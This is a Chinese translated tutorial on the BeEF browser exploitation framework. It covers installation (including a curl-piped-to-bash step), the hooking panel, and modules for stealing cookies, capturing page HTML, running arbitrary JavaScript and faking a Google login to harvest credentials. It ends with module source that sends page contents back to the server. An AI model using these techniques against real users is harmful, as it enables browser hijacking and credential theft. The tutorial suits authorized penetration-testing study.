`

BeEF框架

 
阅读更多
原文地址:http://resources.infosecinstitute.com/beef-part-1/
http://resources.infosecinstitute.com/beef-part-2/
BeEF使用浏览器漏洞来获得目标机器的控制权。BeEF提供API,我们可以编写自己的模块来攻击目标浏览器。
1. 安装
1)使用root权限执行下列命令:
# apt-get install ruby1.9.1 ruby1.9.1-dev libsqlite3-dev sqlite3 sqlite3-doc rubygems1.8
# gem install bundler
# export PATH='$PATH:/var/lib/gems/1.8/bin'

2)使用常规权限执行:
# curl -L https://get.rvm.io | bash -s stable –ruby
# export PATH='$PATH:/usr/local/rvm/bin/'
# source /<a title="home" href="http://resources.infosecinstitute.com/">home</a>/user/.rvm/scripts/rvm
# unset RUBYOPT && sudo env-update && gem -v

3)下载BeEF框架:
# git clone https://github.com/beefproject/beef.git

4)要安装BeEF框架,必须使用bundle命令来安装缺少的依赖:
# cd beef/
# bundle install

5)成功安装依赖关系如下图:
# bundle install
Fetching gem metadata from http://rubygems.org/.......
Fetching gem metadata from http://rubygems.org/..
Installing addressable (2.2.8)
Installing ansi (1.4.3)
Installing daemons (1.1.9)
Installing data_objects (0.10.8)
Installing dm-core (1.2.0)
Installing dm-do-adapter (1.2.0)
Installing dm-migrations (1.2.0)
Installing do_sqlite3 (0.10.8) with native extensions
Installing dm-sqlite-adapter (1.2.0)
Installing eventmachine (0.12.10) with native extensions
Installing em-websocket (0.3.8)
Installing erubis (2.7.0)
Installing multipart-post (1.1.5)
Installing faraday (0.8.4)
Installing jsmin (1.0.1)
Installing json (1.7.5) with native extensions
Installing librex (0.0.68)
Installing msgpack (0.4.7) with native extensions
Installing msfrpc-client (1.0.1)
Installing multi_json (1.3.6)
Installing parseconfig (1.0.2)
Installing rack (1.4.1)
Installing rack-protection (1.2.0)
Installing simple_oauth (0.1.9)
Installing tilt (1.3.3)
Installing sinatra (1.3.2)
Installing term-ansicolor (1.0.7)
Installing thin (1.4.1) with native extensions
Installing twitter (3.6.0)
Using bundler (1.1.5)
Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed.

6)更新BeEF框架:
# ./update-beef

7)然后BeEF框架启动如下:
# ./beef
[ 9:13:42][*] Browser Exploitation Framework (BeEF)
[ 9:13:42] | Version 0.4.3.7-alpha
[ 9:13:42] | Website http://beefproject.com
[ 9:13:42] | Run 'beef -h' for basic help.
[ 9:13:42] |_ Run 'git pull' to update to the latest revision.
[ 9:13:45][*] BeEF is loading. Wait a few seconds...
[ 9:13:53][*] 8 extensions loaded:
[ 9:13:53] | Autoloader
[ 9:13:53] | Events
[ 9:13:53] | Proxy
[ 9:13:53] | Requester
[ 9:13:53] | Admin UI
[ 9:13:53] | Console
[ 9:13:53] | Demos
[ 9:13:53] |_ XSSRays
[ 9:13:53][*] 122 modules enabled.
[ 9:13:53][*] 2 network interfaces were detected.
[ 9:13:53][+] running on network interface: 127.0.0.1
[ 9:13:53] | Hook URL: http://127.0.0.1:3000/hook.js
[ 9:13:53] |_ UI URL: http://127.0.0.1:3000/ui/panel
[ 9:13:53][+] running on network interface: 10.1.1.176
[ 9:13:53] | Hook URL: http://10.1.1.2:3000/hook.js
[ 9:13:53] |_ UI URL: http://10.1.1.2:3000/ui/panel
[ 9:13:53][*] RESTful API key: 8f6d1d719227a0bc6b654e5682c2d73801d3cffc
[ 9:13:53][*] HTTP Proxy: http://127.0.0.1:6789
[ 9:13:53][*] BeEF server started (press control+c to stop)

我们可以看到BeEF启动/正确运行:它现在运行在所有发现的网络接口,所以可以从各个网卡访问。从BeEF输出中可以看到user接口面板可以通过http://10.1.1.2:3000/ui/panel来访问,如果我们访问该页面,我们将自动重定向到http://127.0.0.1:3000/ui/authentication,如下图所示:

默认username/passwd是 beef:beef,现在登录

我们我们可以看到web页面的欢迎信息以及出现基本信息,以及使用手册。
开始使用
当前当前BeEF框架有两个demo页面:
a.基本demo页面

当上图页面加载时,我们的浏览器已经被hook到BeEF框架中,并且我们可以利用它执行命令了。显示的额外的连接/表单是为了显示BeEF的各种特性
b)Butcher Demo页面

这个例子也是用于自动hook浏览器到BeEF框架中,所以不需要额外的步骤。web页面中的其他元素也是为了演示目的。
在BeEF user interface面板的左侧,我们可以看到“Online Browsers” 和 “Offline Browsers,表示为已经被hook的浏览器,它们中的一些在线,另一些不在线。取决于受害者机器的状态
我们我们也可以通过点击浏览器来与一个被hook的浏览器通信,然后会创建一个新的tab,如下图

我们我们可以看到每一个tab代表一个浏览器,它有5个tab-总结如下:
Details-显示被hook的浏览器的细节。如上图所示
Logs-显示当前浏览器的log实体。如下图所示

commands-我们可以对一个浏览器执行模块。模块可以执行可以通过JavaScript来执行的任何命令。每一个模块有一个图标,表示为如下色彩:
Green : 可以工作; user不可见
Orange :可以工作; user可见
Grey : 可能工作
Red : 不能工作
如下图所示,选择了“Browser – Hooked Domain – Play Sound” module.

Rider-允许我们以被hook的浏览器身份提交任何请求
XssRays-用于检测被hook的页面是否含有XSS漏洞。如果我们右击被hook的页面,弹出一个menu,有两个选项
-Use as Proxy:允许我们使用被hook的浏览器做代理
-Launch XssRays on Hooked Domain:用于发现web页面的XSS漏洞。XssRays标签用于做同样的事
使用模块
1. 获得cookie:

当我们执行Get Cookie,得到如下结果:

2. 获得页面HREFs
该模块用于从目标页面中获得HREFS。如果我们查看代码,我们将会看到如下代码:
</pre>
<ul>
    <li><a href="http://beefproject.com" target="_blank">The Browser Exploitation Framework Project homepage</a></li>
    <li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a></li>
    <li><a href="http://slashdot.org/" target="_blank">Slashdot</a></li>
</ul>
<pre>

在html代码中有三个连接:
- http://beefproject.com
- http://ha.ckers.org/
- http://slashdot.org/
通过本模块,我们可以从模块中提取这些连接。如果我莫执行模块“Get Page HREFs”,我们将会得到如下响应:

3. 获得页面HTML
该模块将会从当前页面中获得HTML。执行结果如下:

4. 替换HREFs
该模块将会覆盖指定URL的HREFs属性。实验用www.google.com替换该模块。成功覆盖目标页面的所有url。响应如下所示:

5. 创建alert对话框
这是第一个对于user来说非不可见的模块。该模块发送一个alert到被hook的浏览器。如下所示:

6 Google搜索
该模块从被hook的浏览器来搜索Google。成功执行是如下:

7. 原生态JavaScript
本模块发送输入框中的JS代码到被hook的浏览器。代码在一个匿名函数中运行,并通过框架返回结果。
如果我们在输入框中输入alert(“Hello World!”); return ‘Ok’; ,被hook的浏览器将会显示alert窗口,如下:

8. 检查社交网络
本模块检查被hook的浏览器是否在浏览Gmail,Facebook,或Twitter。当用户被授权到Facebook时响应如下:

10. Google钓鱼
本模块伪造一个google登录页面,一旦登录到Gmail邮件系统,用户口令将会发送给BeEF框架。当我们点击执行按键,Gmail Google页面将会显示,如下图:

我们可以看到页面和Google的页面一样,除了url不同。当输入用户口令test:test时,我们将会从BeEF框架中获得该口令:

2. 模块内部工作机制
模块代码位于 /beef/modules/browser/hooked_domain/get_page_html/,该文件下保存module.rb文件看起来如下:
class Get_page_html < BeEF::Core::Command
 
def post_execute
 
content = {}
 
content['head'] = @datastore['head']
 
content['body'] = @datastore['body']
 
save content
 
end
 
end

我们创建一个叫 Get_page_html的类,继承了BeEF::Core::Command类。该文件中同时含有另外两个文件。第一个是config.yaml,如下所示,包含模块的配置信息:
beef:
 
module:
 
get_page_html:
 
enable: true
 
category: ["Browser", "Hooked Domain"]
 
name: "Get Page HTML"
 
description: "This module will retrieve the HTML from the current page."
 
authors: ["bcoles"]
 
target:
 
working: ["ALL"]

我们可以看到模块叫做get_page_html,属于“Browser – Hooked Domain”类别,可以工作于所有的浏览器。第二个文件叫command.js,如下:
beef.execute(function() {
 
try {
 
var html_head = document.head.innerHTML.toString();
 
} catch (e) {
 
var html_head = "Error: document has no head";
 
}
 
try {
 
var html_body = document.body.innerHTML.toString();
 
} catch (e) {
 
var html_body = "Error: document has no body";
 
}
 
beef.net.send("", , 'head='+html_head+'&body='+html_body);
 
});

这个是要发送到被hook的浏览器执行的代码。当代码被执行,beef.net.send函数被用于返回执行结果。
core.rb 文件包含:
module BeEF
 
module Core
 
end
 
end
 
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
 
require 'core/main/models/user'
 
require 'core/main/models/commandmodule'
 
require 'core/main/models/hookedbrowser'
 
require 'core/main/models/log'
 
require 'core/main/models/command'
 
require 'core/main/models/result'
 
require 'core/main/models/optioncache'
 
require 'core/main/models/browserdetails'
 
# @note Include the constants
 
require 'core/main/constants/browsers'
 
require 'core/main/constants/commandmodule'
 
require 'core/main/constants/distributedengine'
 
require 'core/main/constants/os'
 
require 'core/main/constants/hardware'
 
# @note Include core modules for beef
 
require 'core/main/configuration'
 
require 'core/main/command'
 
require 'core/main/crypto'
 
require 'core/main/logger'
 
require 'core/main/migration'

每个模块继承core/main/command,如下:
# @note This class is the base class for all command modules in the framework.
 
# Two instances of this object are created during the execution of command module.
 
class Command
 
attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
 
attr_accessor :zombie, :command_id, :session_id
 
include BeEF::Core::CommandUtils
 
include BeEF::Core::Constants::Browsers
 
include BeEF::Core::Constants::CommandModule
 
end

Command 类包含各种方法:
initialize:构造函数
pre_send:在指令被发送到被hook的浏览器之前调用
callback:当被hook的浏览器返回执行结果的时候调用
process_zombie_response:处理余下的结果
needs_configuration:当命令需要配置时,返回真
to_json:返回JSON格式命令的信息
build_datastore:创建命令的datastore属性,用来生产javascript代码
build_callback_datastore:设置callback函数的datastore
output:实际被发送到浏览器的指令
save:保存从浏览器接收到的结果
use:加载命令将会使用的一个模块
还有一些我们不需要了解的函数,map_file_to_url, oc_value 和 apply_defaults。当创建一个新的模块时,我们需要做如下几件事:
a command.js
这个文件需要实现beef.execute,它包含JavaScript代码,这些代码将会被发送到浏览器执行:
beef.execute(function() {
 /* code here */
});

b. config.yaml
该文件包含当前模块的配置变量,基本文件结构如下图所示:
beef:
 
module:
 
[module_name]:
 
enable: true
 
category: [category]
 
name: [name]
 
description: [description]
 
authors: [author]
 
target:
 
user_notify: ['ALL']

c. module.rb
文件包含模块的实际代码,在这里必须创建一个新的继承自BeEF::Core::Command模块的类,并且执行我们想执行的动作,基本框架如下:
class [module_name] < BeEF::Core::Command
 
; code
 
end

  • 大小: 24.2 KB
  • 大小: 169.9 KB
  • 大小: 75.1 KB
  • 大小: 270.8 KB
  • 大小: 73.8 KB
  • 大小: 8.7 KB
  • 大小: 68.3 KB
  • 大小: 5.9 KB
  • 大小: 33.9 KB
  • 大小: 39.4 KB
  • 大小: 137.6 KB
  • 大小: 36.9 KB
  • 大小: 20.7 KB
  • 大小: 113.4 KB
  • 大小: 21.1 KB
  • 大小: 48 KB
  • 大小: 52 KB
  • 大小: 48.9 KB
分享到:
评论

相关推荐

    BackTrack Metasploit专题文集

    BackTrack还支持社会工程学攻击模拟,例如通过ettercap工具捕获网络数据包进行DNS欺骗,或者结合BeEF框架对目标用户进行钓鱼攻击。 在BackTrack系统中,用户还可以进行免杀技术的学习和实践,免杀技术是指通过各种...

    小迪第九期渗透培训

    - **Beef 框架应用**:结合 BeEF 和 Ettercap 实现更复杂的攻击。 以上内容为小迪第九期渗透培训的部分核心知识点,通过这些内容的学习,学员能够全面了解渗透测试的基本流程、掌握关键技术和工具,并能够通过实战...

    Red_Teaming_for_Cloud:云上攻防.pdf

    此外,文件还指出了恶意代码注入的可能性,比如使用beef框架对网站进行攻击。在存储桶权限配置不当的情况下,还可能发生存储桶被劫持的情况,攻击者可以利用相同名称的凭证来访问存储桶。文件还提醒我们在网络中寻找...

    docker-beef:BeEF(浏览器开发框架)构建的 Dockerfile

    码头牛肉BeEF 的 Dockerfile(浏览器开发框架) 拉取存储库docker pull malwarelu/beef 启动 BeEF docker docker run malwarelu/beef 正在运行的容器上的 TCP/3000 上可用的服务

    E017-渗透测试常用工具-使用Beef对客户端浏览器进行劫持.pdf

    Beef(Browser Exploitation Framework)是一个基于Web的渗透测试框架,专门设计用于安全研究人员和渗透测试人员控制和操纵受感染的浏览器。在本课程中,我们将学习如何使用Beef与Metasploit框架协同工作,以实现对...

    JSShell:交互式多用户Web JS Shell

    该工具可以轻松地附加到XSS(跨站点脚本)有效负载,以实现浏览器远程代码执行(类似于BeeF框架)。 2.0版完全从头开始创建,引入了令人兴奋的新功能,稳定性和可维护性。 版本:2.0 作者 。 壳牌影片 产品特点 ...

    beef-installer:用于发行版和Termux的BeEF安装程序!

    牛肉安装机 该脚本可自动从GitHub安装BeEF(浏览器利用框架)。要使用它以root身份运行: (为了): git clone https://github.com/tony23x/beef-install.git cd beef-installer;ls bash install.sh python3 beef...

    key_beef.zip_28335读取io_DSP GPIO BEEF_DSP28335 IO_DSP28335蜂鸣器_按键

    BEEF(基本实验和教育框架)是一套专为C2000 DSP设计的教育和实验平台,它提供了一些简化开发的例程和库函数,使得初学者可以更容易地进行硬件交互。 在压缩包中的“key_beef”文件可能是包含了实现上述功能的代码...

    spine-beef:将Spine运行时移植到牛肉

    总的来说,"spine-beef"项目是一个创新性的尝试,它将Spine.js的MVC框架引入到一个非传统环境(“牛肉”平台),并且可能与生物信息学的HyPhy软件包相结合,提供了更直观的数据分析工具。通过解压并分析`spine-beef-...

    Web应用安全:XSS通过JavaScript攻击(实验).docx

    Beef-xss是一个强大的XSS攻击框架,它提供了丰富的功能,能帮助攻击者远程控制受害者浏览器。 在Kali Linux系统中安装Beef-xss,你需要: 1. 更新Kali的软件源,将它切换至国内的中科大镜像源,使用`vim`编辑`/etc/...

    Web应用安全:XSS篡改页面(实验).docx

    beef-xss是一个开源的XSS攻击框架,能够模拟各种XSS攻击场景。我们将使用beef-xss工具来攻击pikachu站点,模拟用户登录pikachu站点,然后在beef-xss平台上控制用户的浏览器,实施各种篡改页面攻击。 实验环境准备:...

    Beef_website:BeefLang网站

    通过研究这个项目,开发者不仅可以了解BeefLang编程语言,还能学习到基于JavaScript的Web开发实践,包括前端框架的运用、前后端交互、持续集成/持续部署(CI/CD)流程,以及网站的发布和维护策略。这对于想要提升Web...

    牛肉:浏览器开发框架项目

    ================================================== ============================ Copyright (c... BeEF是“浏览器开发框架”的缩写。 它是一个专注于Web浏览器的渗透测试工具。 随着人们越来越多地关注针对包括移动

    Improbable_Beef

    8. **框架与库**:如果"不可能的牛肉"涉及到复杂的前端项目,那么很可能使用了React、Vue、Angular等流行的JavaScript框架,或者jQuery等库来简化开发。 9. **错误处理**:了解如何通过try...catch处理异常,以及...

    xss跨站脚本攻击

    Beef(The Browser Exploitation Framework Project)是一个强大的Web框架攻击平台,它通过简单的XSS漏洞来控制目标主机的浏览器,进而获取目标主机的信息并进一步扫描内网。Beef支持多种攻击模块,能够针对不同的...

    Metasploit+Framework:黑掉整个星球

    这个框架的强大之处在于其模块化的结构,允许用户通过简单地组合各种攻击向量来构建复杂的攻击链,从而对目标系统进行深入的测试。 一、Metasploit Framework概述 Metasploit Framework的核心是一个灵活的编程接口...

    Kali Linux漏洞利用工具集目录v2018.2大学霸陆小马功钟浩.pdf

    接着,文档中提到的BeEF是一个专注于浏览器渗透攻击的框架。BeEF通过攻击最终用户的浏览器来绕过客户端安全,这通常是在其他传统攻击手段受限时所采用的一种方法。BeEF的使用场景包括信息收集、社会工程学攻击、...

    Pile:一个用牛肉写的友好,可扩展的游戏框架

    桩是用制作的小型游戏框架,类似于MonoGame / FNA之类的框架,并直接受启发。 它能做什么 通过一些抽象的核心模块,Pile处理窗口,输入,渲染和音频管理。 随附的核心模块依赖 系统的SDL2, 用于图形的OpenGL 3.3+...

    Firefox 52.0.2 渗透便携版

    7. **BeEF (Browser Exploitation Framework)**:BeEF是一款专注于浏览器安全的框架,可以利用浏览器的弱点进行攻击,帮助测试者理解浏览器安全的脆弱性。 8. **Metasploit Firefox Extension**:与著名的...

Global site tag (gtag.js) - Google Analytics